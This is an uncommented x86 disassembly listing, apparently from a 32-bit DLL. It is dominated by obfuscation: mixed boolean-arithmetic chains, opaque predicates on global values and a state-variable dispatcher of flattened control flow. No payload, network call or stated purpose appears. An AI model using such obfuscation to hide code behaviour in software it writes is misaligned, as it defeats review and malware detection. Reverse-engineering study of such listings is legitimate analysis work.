and ebx, 0xcf32169d
and eax, 0x30cde962
or eax, ebx
xor eax, edi
not edx
or edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x8ed36ea1
and ecx, 0x712c915e
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0x8ed36ea1
and esi, 0x712c915e
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x930c0ec6
xor eax, 0x6cf3f139
mov esi, eax
and esi, 0x47ce8d1d
mov edx, ecx
and edx, 0xb83172e2
or edx, esi
mov esi, edx
xor esi, 0xb83172e2
and esi, eax
xor edx, 0x47ce8d1d
and edx, ecx
or edx, esi
xor eax, edx
test eax, edx
setne ah
sete dl
cmp dword [0x10047904], 0xa
setl al
setge ch
mov dh, dl
inc dh
mov cl, ah
xor cl, dh
and cl, ah
and dh, ah
or dh, dl
xor cl, 1
xor dh, 1
mov ebx, ecx
xor bl, dh
or dh, cl
xor dh, 1
or dh, bl
mov cl, dh
xor cl, 1
and cl, dh
xor cl, 1
mov bl, dh
xor bl, cl
or cl, dh
xor cl, 1
or cl, bl
mov dh, dl
and dh, cl
xor cl, 1
mov ebx, edx
or bl, cl
and cl, ah
or cl, dh
mov dh, cl
xor dh, 1
or dh, bl
xor cl, bl
mov bl, dh
xor bl, cl
or cl, dh
xor cl, 1
or cl, bl
mov dh, cl
xor dh, 1
mov bl, dh
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dh
mov cl, bl
inc cl
mov dh, bl
and dh, cl
xor dh, 1
or dh, bl
xor dh, 1
or dh, cl
xor dh, 1
mov cl, ch
xor cl, dh
xor cl, 1
and cl, dh
or dh, ch
xor cl, 1
mov ebx, ecx
xor bl, dh
or cl, dh
xor cl, 1
or cl, bl
mov bl, ch
xor bl, dl
mov dh, bl
and dh, al
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
mov bl, dh
xor bl, 1
and dl, ch
and al, ah
or al, dl
mov dl, al
xor dl, 1
mov ah, dl
and dl, bl
and bl, dh
xor bl, 1
mov ch, bl
xor ch, dh
or bl, dh
xor bl, 1
or bl, ch
xor bl, 1
xor ah, bl
and ah, al
or bl, al
xor bl, 1
or bl, ah
mov ah, dh
xor ah, al
and ah, dh
and al, dh
or al, dl
mov dl, ah
xor dl, 1
xor ah, al
xor al, 1
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, ah
or al, bl
mov ah, dl
xor ah, 1
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, dl
and ah, al
xor ah, 1
mov ch, al
xor ch, ah
or ah, al
xor ah, 1
or ah, ch
and al, ah
xor ah, 1
and ah, dl
or ah, al
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
mov ch, cl
xor ch, 1
mov edx, ecx
and dl, ch
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
or ch, ah
xor ah, 1
xor dl, ah
or ah, cl
xor ah, 1
xor ch, 1
or ch, ah
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov ah, dl
xor ah, 1
mov cl, al
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov dh, cl
xor dh, 1
mov ch, ah
and ch, dl
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
or cl, ch
xor ch, 1
or ch, dh
xor ch, 1
xor cl, 1
or cl, ch
or ah, al
xor al, dl
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, 1
and cl, al
or ah, al
xor al, 1
and dl, al
or dl, cl
mov al, ah
xor al, dl
test al, 1
mov ecx, 0x735a84a2
mov esi, 0x14c60b94
cmovne ecx, esi
test ah, 1
mov edi, 0x735a84a2
jmp 0x10012583
cmp edi, 0xae012ed4
jg 0x1000f023
cmp edi, 0xa2b5ab20
jg 0x10012bb9
cmp edi, 0x9df8e724
je 0x10019bc0
cmp edi, 0x9fd3c610
jne 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ebp, edx
not ebp
mov ecx, edx
xor ecx, 0xdf28d136
and ecx, edx
mov esi, edx
mov dword [esp], edx
mov eax, ebp
and eax, 0x2920f1c9
and esi, 0xd6df0e36
or esi, eax
xor esi, 0xd6df0e36
mov eax, esi
xor eax, ebp
mov edx, ebp
or edx, ecx
not ecx
and ecx, 0x20d72ec9
and edx, 0xdf28d136
or edx, ecx
mov edi, edx
not edi
and eax, esi
mov esi, eax
not esi
mov ecx, edi
or ecx, esi
and edi, 0x31555134
and edx, 0xceaaaecb
or edx, edi
and esi, 0x31555134
and eax, 0xceaaaecb
or eax, esi
xor eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0x835304f5
and eax, 0x7cacfb0a
or eax, esi
xor eax, ecx
xor eax, 0x7cacfb0a
or edx, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov esi, eax
or esi, 0xe2e8b58e
mov ecx, esi
and ecx, 0xd23d851b
mov ebx, edx
and ebx, 0xd024a60
or ebx, ecx
mov edi, edx
xor edi, 0xe2e8b58e
and edi, eax
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0xd23d851b
and edi, 0x2dc27ae4
or edi, ecx
xor edi, ebx
mov ecx, ebp
not esi
or esi, edi
xor esi, 0x3c065aaf
or edx, 0x40404601
and eax, 0x1111054
and edx, 0x6040468b
or edx, eax
xor edx, 0x6040468b
or edx, esi
mov esi, edx
not esi
mov eax, esi
and eax, 0x798dde41
mov edi, edx
and edi, 0x867221be
or edi, eax
mov ebx, edi
xor ebx, 0x402104
xor edi, 0x40040201
or edi, 0x105080
and edi, 0x403452b1
and ebx, 0x10c0a944
or ebx, edi
mov dword [esp + 0xc], ebp
mov eax, ebp
or esi, 0x40240231
and esi, 0x403452b1
and edx, 0xaf0b040a
or edx, esi
mov esi, ebp
xor edx, ebx
or ecx, 0x56e24f20
mov ebp, dword [esp]
mov edi, ebp
or edi, 0x20110056
and edi, 0x76f34f76
and eax, 0x880ca001
or eax, edi
and ecx, 0x76f34f76
mov ebx, ebp
and ebx, 0x1001088
or ebx, ecx
mov edi, edx
xor edi, 0xaf1b548a
xor edx, 0x50e4ab75
xor ebx, eax
and esi, 0xa365e7c9
mov eax, ebp
and eax, 0x5c9a1836
or eax, esi
mov ecx, eax
xor ecx, 0x5c9a1836
xor eax, 0xa365e7c9
and eax, ebx
not ebx
and ecx, ebx
or eax, ecx
xor ebx, eax
and ebx, eax
mov eax, edx
and eax, 0xda88bd9f
mov esi, edi
and esi, 0x25774260
or esi, eax
mov eax, esi
xor eax, 0x20420240
xor esi, 0xda88bd9f
mov ecx, esi
and ecx, 0x45bdf03c
and eax, 0xba420fc3
or eax, ecx
mov ecx, edx
and ecx, edi
mov ebp, ecx
not ebp
or esi, ebp
and ebp, 0x45bdf03c
and ecx, 0xba420fc3
or ecx, ebp
xor ecx, eax
not esi
or esi, ecx
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x1a607cba
mov ecx, ebx
and ebx, 0xe59f8345
or ebx, eax
and ecx, 0xaf778aa4
not ebx
or ebx, ebp
and ebp, 0x5088755b
or ebp, ecx
mov ecx, esi
mov dword [esp + 0x10], esi
mov eax, esi
not eax
mov dword [esp + 4], eax
and eax, 0xa49d676e
and ecx, 0x5b629891
or ecx, eax
and edx, 0x340
and edi, 0xe59f8005
or edi, edx
mov dword [esp + 0x14], edi
mov eax, ebp
xor eax, 0xaf778aa4
mov dword [esp + 8], eax
xor ebp, 0x5088755b
and eax, 0x4af4c7de
mov edx, ebp
and edx, 0xb50b3821
or edx, eax
xor edx, 0xaf6b449b
mov eax, ebp
and eax, 0xe59f8345
or eax, edx
xor ecx, 0xbefd1bd4
or ecx, dword [esp + 4]
mov edx, ecx
not edx
xor edi, 0xe59f8005
or edi, 0x1a607cba
mov esi, edx
xor esi, edi
and esi, edx
and ecx, 0xcaf726b5
and edx, 0x3508d94a
or edx, ecx
mov ecx, dword [esp + 0x14]
xor ecx, 0x140
and edi, 0xcaf726b5
and ecx, 0x25088140
or ecx, edi
xor ecx, edx
or ecx, esi
mov edi, ecx
mov ecx, eax
not ecx
mov edx, ecx
xor edx, ebx
and edx, ecx
and eax, 0xb727a2b4
and ecx, 0x48d85d4b
or ecx, eax
xor ecx, ebx
mov eax, edx
not eax
mov esi, eax
and esi, 0xf14f5d72
and edx, 0xeb0a28d
or edx, esi
mov esi, ecx
xor esi, 0x48d85d4b
xor ecx, 0xb727a2b4
or eax, ecx
and ecx, 0xf14f5d72
and esi, 0xeb0a28d
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x7a60ad8d
and ecx, ebx
and ebx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd9b4854f
and ecx, 0x264b7ab0
or ecx, edx
mov edx, ebx
not edx
or eax, edx
and edx, 0xd9b4854f
and ebx, 0x264b7ab0
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
xor edi, 0x7a60ad8d
mov ebx, eax
xor ebx, eax
not ebx
and ebx, edi
xor ebx, eax
mov edx, dword [esp + 0x10]
mov ecx, edx
xor ecx, 0x50cc999e
and ecx, edx
mov eax, dword [esp + 4]
and eax, 0xcffbe978
and edx, 0x30041687
or edx, eax
and ebp, 0x5a5e99a
mov edi, dword [esp + 8]
mov esi, edi
and esi, 0xfa5a1665
or esi, ebp
xor edx, 0x30041687
mov eax, esi
xor eax, 0xfa5a1665
xor esi, 0x55697004
and esi, eax
or eax, edx
and edx, 0x50cc999e
or ecx, edx
mov edx, edi
and edx, 0xaf336661
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov esi, eax
and esi, 0x37444c45
and edx, 0xc8bbb3ba
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x37444c45
and ecx, 0xc8bbb3ba
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ebx
not edx
and eax, edx
or edx, ecx
and ecx, ebx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xbb52982
and ecx, 0xf44ad67d
or ecx, eax
xor ecx, edx
xor ecx, 0xf44ad67d
or esi, edx
not esi
or esi, ecx
mov edx, esi
not edx
mov eax, esi
mov ecx, edx
and ecx, 0xf8ed501b
and esi, 0x712afe4
or esi, ecx
xor esi, 0x2603bf3b
or esi, edx
and edx, 0xeaaf2078
and eax, 0x1550df87
or eax, edx
mov ebx, eax
xor ebx, 7
xor eax, 0x20010018
and eax, 0x21111098
and ebx, 0x47
or ebx, eax
mov eax, ebx
xor eax, 0x21111098
mov dword [esp + 8], eax
mov ecx, ebx
xor ecx, 0xdeeeef67
mov dword [esp + 4], ecx
or ecx, eax
xor ebx, 0x61131918
and ebx, ecx
mov ecx, esi
xor ecx, 0xa77db67f
mov edx, ecx
and edx, esi
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x4c541b1c
and edx, 0xb3abe4e3
or edx, eax
mov edi, esi
not edi
and ecx, edi
mov eax, ecx
not eax
or ebp, eax
and eax, 0x4c541b1c
and ecx, 0xb3abe4e3
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
xor ebp, ebx
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x2011105d
mov ecx, dword [esp + 4]
and ecx, 0x9f00ca82
or ecx, eax
mov dword [esp + 4], ecx
or edx, edi
mov dword [esp + 8], edx
and edi, 0x60ff357d
and esi, 0x9f00ca82
or esi, edi
mov ebx, dword [esp + 0xc]
mov eax, ebx
and eax, 0x102e5605
mov edx, dword [esp]
mov ecx, edx
and edx, 0xefd1a9fa
or edx, eax
xor edx, 0x102e5605
or edx, ebx
mov dword [esp], edx
xor esi, dword [esp + 4]
mov eax, ebp
xor eax, 0x10804000
mov edi, dword [esp + 8]
not edi
or edi, esi
xor ebp, 0xe77fbfff
mov edx, ebp
and edx, 0xec013bba
and eax, 0x13fec445
or eax, edx
mov edx, edi
not edx
or ebp, edi
and edi, 0xec013bba
and edx, 0x13fec445
or edx, edi
xor edx, eax
not ebp
or ebp, edx
mov dword [esp + 4], ebp
and ecx, 0x5aa13e6f
and ebx, 0xa55ec190
or ebx, ecx
mov eax, ebx
xor eax, 0x245ac000
mov ecx, ebx
xor ecx, 0x5aa13e6f
and eax, 0x2e7bd622
xor ebx, 0xeccd9491
and ebx, ecx
and ecx, 0xd18429dd
or ecx, eax
mov dword [esp + 8], ecx
mov edx, ecx
xor edx, 0xd18429dd
mov eax, ecx
xor eax, 0x98177cdc
and eax, edx
mov esi, eax
not esi
mov edi, esi
and edi, 0x8f079460
and eax, 0x70f86b9f
or eax, edi
mov edi, ebx
not edi
or esi, edi
and edi, 0x8f079460
and ebx, 0x70f86b9f
or ebx, edi
xor ebx, eax
mov ecx, dword [esp]
mov eax, ecx
xor eax, 0x49935501
not esi
or esi, ebx
mov ebx, eax
and ebx, ecx
mov ebp, ebx
not ebp
mov edi, ebp
and edi, 0x5cb8328e
and ebx, 0xa347cd71
or ebx, edi
mov edi, ecx
not edi
and eax, edi
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0x5cb8328e
and eax, 0xa347cd71
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, esi
xor ebx, ebp
mov ebp, dword [esp + 8]
xor ebp, 0x2e7bd622
mov eax, ebp
and eax, 0x815ed6be
and edx, 0x7ea12941
or edx, eax
or ebp, edi
and edi, 0x815ed6be
mov eax, dword [esp]
and eax, 0x7ea12941
or eax, edi
xor eax, edx
not ebp
or ebp, eax
not ebp
or ebp, ebx
mov esi, dword [esp + 4]
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xbd5d4049
mov edx, eax
and edx, esi
and esi, 0x42a2bfb6
or esi, ecx
mov edi, esi
xor edi, 0x40a0ae12
xor esi, 0xbd5d4049
mov ecx, esi
and ecx, 0x3f0351e4
and edi, 0xc0fcae1b
or edi, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0x3f0351e4
and edx, 0xc0fcae1b
or edx, ecx
xor edx, edi
not esi
or esi, edx
mov edi, ebp
mov ebx, ebp
xor ebx, 0x94ffd63b
and ebx, ebp
mov ecx, ebp
not ecx
not esi
or esi, ecx
and ecx, 0x94e91402
and edi, 0x16c239
or edi, ecx
mov ecx, edi
xor ecx, 0x120221
xor edi, 0xffe93dc6
mov edx, edi
and edx, 0xada5d5de
and ecx, 0x105a0221
or ecx, edx
mov edx, ebx
not edx
or edi, edx
and edx, 0xada5d5de
and ebx, 0x525a2a21
or ebx, edx
xor ebx, ecx
mov ecx, dword [esp + 4]
not edi
or edi, ebx
mov edx, eax
and edx, 0x4d293529
and ecx, 0xb2d6cad6
or ecx, edx
mov edx, edi
xor edx, 0x49002100
xor edi, 0x90d6c212
and edx, 0x4d293529
and edi, 0xb2d6cad6
or edi, edx
mov ebp, esi
not ebp
xor edi, ecx
not edi
or edi, eax
mov ebx, ebp
xor ebx, edi
and ebx, ebp
and esi, 0x5685423d
and ebp, 0xa97abdc2
or ebp, esi
xor ebp, edi
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x64deee38
and ebx, 0x9b2111c7
or ebx, edx
mov edi, ebp
xor edi, 0xa97abdc2
xor ebp, 0x5685423d
or ecx, ebp
and ebp, 0x64deee38
and edi, 0x9b2111c7
or edi, ebp
mov edx, dword [esp + 4]
mov esi, edx
xor esi, 0x3cb3351b
and esi, edx
xor edi, ebx
not ecx
or ecx, edi
and eax, 0xa4983faa
and edx, 0x5b67c055
or edx, eax
mov eax, edx
xor eax, 0x8010010
xor edx, 0x2490350a
mov edi, edx
or edi, 0x414c8820
mov ebx, esi
not ebx
and edi, 0x717eb929
and eax, 0xc810412
or eax, edi
or edx, ebx
and ebx, 0x717eb929
and esi, 0x8e8146d6
or esi, ebx
xor esi, eax
not edx
or edx, esi
not esi
and esi, 0xc34ccae4
and edx, 0x3cb3351b
or edx, esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x3293c44b
mov esi, ecx
and esi, 0xcd6c3bb4
or esi, edi
mov edi, edx
not edi
xor esi, edi
xor esi, 0xcd6c3bb4
and esi, edx
and edi, 0xed49b56
and edx, 0xf12b64a9
or edx, edi
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x979da220
and esi, 0x68625ddf
or esi, ebx
xor edx, 0xed49b56
or edx, eax
xor esi, edx
xor esi, 0x68625ddf
or edi, edx
not edi
or edi, esi
mov edx, edi
not edx
mov esi, edx
and esi, 0x605fba8e
and edi, 0x9fa04571
or edi, esi
and ecx, 0x605fba8e
and eax, 0x9fa04571
or eax, ecx
xor eax, edi
xor edx, eax
test edx, eax
setne byte [esp + 4]
sete dh
cmp dword [0x10047904], 0xa
setge ch
mov byte [esp + 8], ch
setl cl
mov dl, cl
or dl, dh
mov bh, dl
xor bh, 1
xor ch, dh
xor ch, 1
mov byte [esp], ch
or ch, bh
mov bl, ch
xor bl, 1
mov al, ch
and al, bl
xor al, 1
or al, bl
xor al, 1
or al, ch
mov ah, al
xor al, 1
and al, dl
xor ch, dl
and ah, bh
or bl, bh
xor bl, 1
or bl, ch
xor bl, 1
or bl, ah
or bl, al
mov eax, ebx
xor al, 1
mov bh, al
and bh, bl
xor bh, 1
mov dl, bl
xor dl, bh
or bh, bl
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
and dl, cl
mov ch, byte [esp + 8]
and bh, ch
or bh, dl
xor bh, al
and bh, bl
mov ah, byte [esp + 4]
mov al, ah
mov dl, ch
xor al, ch
and al, ah
and dh, cl
and dl, ah
or dl, dh
or dl, al
mov dh, dl
mov bl, dl
xor dh, 1
or cl, ah
mov dl, byte [esp]
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ch, cl
xor ch, 1
mov eax, ecx
and al, ch
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov ah, al
xor ah, 1
or al, dh
or ah, bl
mov dl, al
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
xor dh, ch
xor ch, bl
or cl, bl
xor cl, 1
or cl, dh
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
xor ah, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, ah
or ah, cl
xor dl, 1
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov al, ah
xor al, bh
and ah, al
and al, bh
mov cl, bh
xor cl, dl
or dl, bh
xor bh, 1
mov ch, ah
xor ch, 1
xor ah, al
xor al, 1
or al, ch
xor al, 1
or al, ah
xor al, 1
or al, bh
mov ah, al
xor ah, 1
and dl, cl
and al, ah
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ch, dl
xor ch, 1
mov cl, al
xor cl, 1
mov dh, dl
or dh, al
xor dh, 1
mov ah, ch
xor ah, al
and cl, ch
or ch, al
xor ch, 1
or ch, ah
and ah, al
or ah, dh
and dl, al
or cl, dl
xor cl, 1
mov al, cl
xor al, ch
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor al, 1
and al, ah
xor ah, 1
and dl, ah
or al, dl
or ah, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xe259af3c
mov edx, 0xf905f09e
cmovne ecx, edx
test ah, 1
mov edi, 0xe259af3c
jmp 0x100135c4
cmp edi, 0x76825ac3
jg 0x1000f93b
cmp edi, 0x7438911d
jg 0x10012bec
cmp edi, 0x6fc90b38
je 0x10019bca
cmp edi, 0x735a84a2
jne 0x10008b80
cmp byte [esp + 0x3a], 0
mov edi, 0xf592942
mov eax, 0x74738236
cmovne edi, eax
jmp 0x10008b80
cmp edi, 0xf780ee1c
jg 0x100135d1
cmp edi, 0xf31014c0
je 0x10019c09
cmp edi, 0xf464e1a4
jne 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebp, ecx
and eax, 0x9590801
mov esi, edx
and esi, 0x94a0025c
or esi, eax
mov ecx, esi
xor ecx, 0x4a00000
xor esi, 0x6b5ffda3
mov eax, edx
xor eax, 0x9df90a5d
and eax, edx
mov dword [esp], edx
mov edi, eax
not edi
mov ebx, esi
and ebx, 0x980ba3dc
and ecx, 0x5f00801
or ecx, ebx
or esi, edi
and edi, 0x980ba3dc
and eax, 0x67f45c23
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, esi
xor eax, 0x6206f5a2
mov ebx, esi
xor ebx, 0x9df90a5d
mov dword [esp + 4], ebp
mov ecx, ebp
and ecx, 0x32dd5e42
mov edi, edx
and edi, 0xcd22a1bd
or edi, ecx
xor edi, 0x32dd5e42
or edi, ebp
mov ecx, ebx
and ecx, 0x4a212f0f
xor esi, 0x2827daad
and esi, eax
or esi, ecx
mov edx, edi
not edx
mov ecx, edi
xor ecx, 0xb5ded0f0
and ecx, edi
mov ebp, edx
and ebp, 0xb5ded0f0
or ebp, ecx
mov ecx, ebp
xor ecx, ebp
not ecx
and ecx, esi
xor ecx, ebp
mov esi, eax
and esi, 0xfadd9090
and ebx, 0x5226f6f
or ebx, esi
or eax, edx
and edx, 0xfadd9090
and edi, 0x5226f6f
or edi, edx
xor edi, ebx
not eax
or eax, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf9c5576c
mov edi, eax
and edi, 0x2320002
or edi, edx
mov esi, edi
xor esi, 0x2320000
xor edi, 0x104809e8
or ecx, 0x1040016a
and edi, 0x104809ea
and esi, 0xebb75604
or esi, edi
and ecx, 0x104809ea
and eax, 0x400a011
or eax, ecx
xor eax, esi
mov ecx, eax
xor ecx, 0x400a081
xor eax, 0xc1e20764
and ecx, 0x3e15f08b
and eax, 0xc1ea0f74
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x96f425b3
and eax, 0x690bda4c
or eax, edx
xor eax, 0x571e2ac7
or eax, ecx
mov esi, eax
not esi
mov edi, dword [esp + 4]
mov ecx, edi
or ecx, 0x80006800
mov ebx, dword [esp]
mov edx, ebx
or edx, 0x42071402
and edx, 0xc2077c02
and edi, 0x187800ac
or edi, edx
and ecx, 0xc2077c02
mov edx, ebx
and edx, 0x25808351
or edx, ecx
xor edx, edi
mov edi, edx
xor edi, 0x26059003
mov ecx, edx
mov ebp, edx
xor ecx, 0x987868ac
mov edx, ecx
or edx, 0x3e15f08b
xor ebp, 0x41800640
and ecx, 0xc1ea0f74
and edi, 0x3e15f08b
or edi, ecx
mov ecx, edi
not ecx
mov ebx, edx
and ebx, 0x3862d99e
and ebp, 0xc1880660
or ebp, ebx
or edx, ecx
and ecx, 0x3862d99e
and edi, 0xc79d2661
or edi, ecx
xor edi, ebp
not edx
or edx, edi
mov edi, edx
not edi
mov ecx, edx
and ecx, 0x193b89be
mov ebx, edi
and ebx, 0xe6c47641
or ebx, ecx
mov ecx, ebx
xor ecx, 0xe6c47641
and ecx, eax
xor ebx, 0x193b89be
and ebx, esi
or ebx, ecx
mov ecx, ebx
xor ecx, eax
and ecx, ebx
mov ebx, eax
and ebx, 0x4070
xor eax, 0xfe1f9b07
and eax, esi
and esi, 0x1e02488
or esi, ebx
xor esi, 0x1e02488
or eax, esi
mov esi, edx
and esi, 0x1a02060
mov ebx, edi
and ebx, 0x404498
or ebx, esi
mov esi, ebx
xor esi, 0x400098
xor ebx, 0x181d1266
or edx, 0x4460
and ebx, 0x181d5666
and esi, 0x1e02098
or esi, ebx
and edx, 0x181d5666
and edi, 0xe6028901
or edi, edx
xor edi, esi
mov edx, edi
xor edx, edi
not edx
and edx, eax
xor edx, edi
mov eax, ecx
not eax
mov dword [esp], eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x2dace334
mov ebp, edx
and ebp, 0xd2531ccb
or ebp, eax
mov esi, ebp
xor esi, 0xd2531ccb
mov edi, ecx
xor edi, 0xcde673b9
and edi, dword [esp]
and ecx, 0x32198c46
or ecx, edi
xor ebp, 0xe04a908d
and ebp, esi
mov edi, ebp
not edi
mov eax, edi
and eax, 0x356b9853
and ebp, 0xca9467ac
or ebp, eax
or ebx, 0xcde673b9
or edi, ebx
and ebx, 0x356b9853
and edx, 0x2100404
or edx, ebx
xor edx, ebp
not edi
or edi, edx
xor edi, ecx
or esi, dword [esp]
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x895c096a
and edi, 0x76a3f695
or edi, eax
xor edi, esi
xor edi, 0x76a3f695
or ecx, esi
not ecx
or ecx, edi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xc2048a00
mov edx, ecx
and edx, 0x342111a1
or edx, esi
mov esi, edx
xor esi, 0x11021
xor edx, 0x3d0ec52
mov edi, eax
or edi, 0x36208980
and edx, 0x37f0edd2
and esi, 0xc0051221
or esi, edx
and edi, 0x37f0edd2
mov edx, ecx
and edx, 0x80a000c
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0x8904402
xor edx, 0xf6259ba1
and esi, 0x7c91de83
mov edi, edx
and edi, 0x836e217c
or edi, esi
xor edi, 0xbd7bd1f7
and edx, 0xc1ea0f74
or edx, edi
mov edi, edx
not edi
or eax, 0x2c00b002
and ecx, 0x41ca0e24
and eax, 0xac20b152
or eax, ecx
mov ecx, eax
xor ecx, 0x80000150
xor eax, 0x53df4ead
mov esi, edi
xor esi, eax
and esi, edi
and edx, 0x77a59200
and edi, 0x885a6dff
or edi, edx
and eax, 0x77a59200
and ecx, 0x804a0d74
or ecx, eax
xor ecx, edi
mov eax, esi
not eax
mov edx, ecx
not edx
mov edi, eax
and edi, 0xad40df6c
and esi, 0x52bf2093
or esi, edi
or eax, edx
and edx, 0xad40df6c
and ecx, 0x52bf2093
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x8ba51803
mov edx, eax
and edx, 0x745ae7fc
or edx, ecx
mov edi, edx
xor edi, 0x40008098
xor edx, 0x80a11803
mov ecx, eax
xor ecx, 0xe0b3b9db
and ecx, eax
mov ebp, edx
or ebp, 0x1b0c0404
mov ebx, ecx
not ebx
and ebp, 0x3b1e2d47
and edi, 0xc0a19098
or edi, ebp
or edx, ebx
and ebx, 0x3b1e2d47
and ecx, 0xc4e1d2b8
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
not ecx
and ecx, 0x1f4c4624
and edx, 0xe0b3b9db
or edx, ecx
mov ecx, esi
and ecx, 0x164bc930
mov edi, eax
and edi, 0xe9b436cf
or edi, ecx
mov ebx, edi
xor ebx, 0xe9b436cf
xor edi, 0x14414830
and edi, 0xb4657ab1
mov ecx, ebx
and ecx, 0x4b9a854e
or ecx, edi
xor ecx, 0x4b9a854e
or ecx, ebx
xor ecx, edx
and edx, ecx
mov edi, ecx
not edi
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x60f15b42
and edx, 0x9f0ea4bd
or edx, ebx
or ebp, ecx
and ecx, 0x60f15b42
and edi, 0x9f0ea4bd
or edi, ecx
xor edi, edx
not ebp
or ebp, edi
mov dword [esp + 4], ebp
mov ecx, ebp
not ecx
mov dword [esp + 8], ecx
mov edx, ebp
xor edx, 0x22002fad
and edx, ebp
or ecx, edx
not edx
and edx, 0xddffd052
and ecx, 0x22002fad
or ecx, edx
mov ebx, ecx
xor ebx, 0x521247c1
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xfacb4a8f
and edx, 0x534b570
or edx, ebp
xor ecx, 0x524b030
or edi, ebx
and ebx, 0xfacb4a8f
and ecx, 0x534b570
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov edx, esi
and edx, 0x179e3b6a
mov ecx, eax
xor ecx, 0x179e3b6a
and ecx, eax
or ecx, edx
mov ebx, ecx
xor ebx, 0x458c7cab
xor ecx, 0x9a700110
and esi, 0xd4b72216
and eax, 0x2b48dde9
or eax, esi
mov edx, ebx
and edx, 0x6407da66
and ecx, 0x9bf82599
or ecx, edx
mov esi, eax
xor esi, 0xb480589
xor eax, 0xd4b72216
or ebx, eax
and eax, 0x6407da66
and esi, 0x9bf82599
or esi, eax
mov edx, edi
not edx
xor esi, ecx
not ebx
or ebx, esi
mov ebp, ebx
not ebp
mov ecx, ebx
and ecx, edi
mov eax, edx
and eax, ebp
or eax, ecx
mov ecx, ebx
and ebx, 0x3c63085
and ebp, 0xfc39cf7a
or ebp, ebx
not eax
or eax, edi
or ecx, edx
xor ebp, edi
xor ebp, 0xfc39cf7a
and ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0x5d2312de
and ebp, 0xa2dced21
or ebp, edx
xor ebp, ecx
xor ebp, 0xa2dced21
or esi, ecx
not esi
or esi, ebp
mov ecx, esi
not ecx
xor esi, ecx
and esi, eax
or eax, ecx
not eax
xor esi, ecx
or esi, eax
mov eax, esi
not eax
mov edi, esi
mov ebx, esi
xor ebx, 0xd78103da
and ebx, esi
mov ecx, eax
and ecx, 0x13b5679f
and esi, 0xec4a9860
or esi, ecx
xor esi, 0x41a7205f
or esi, eax
and eax, 0xd00100c8
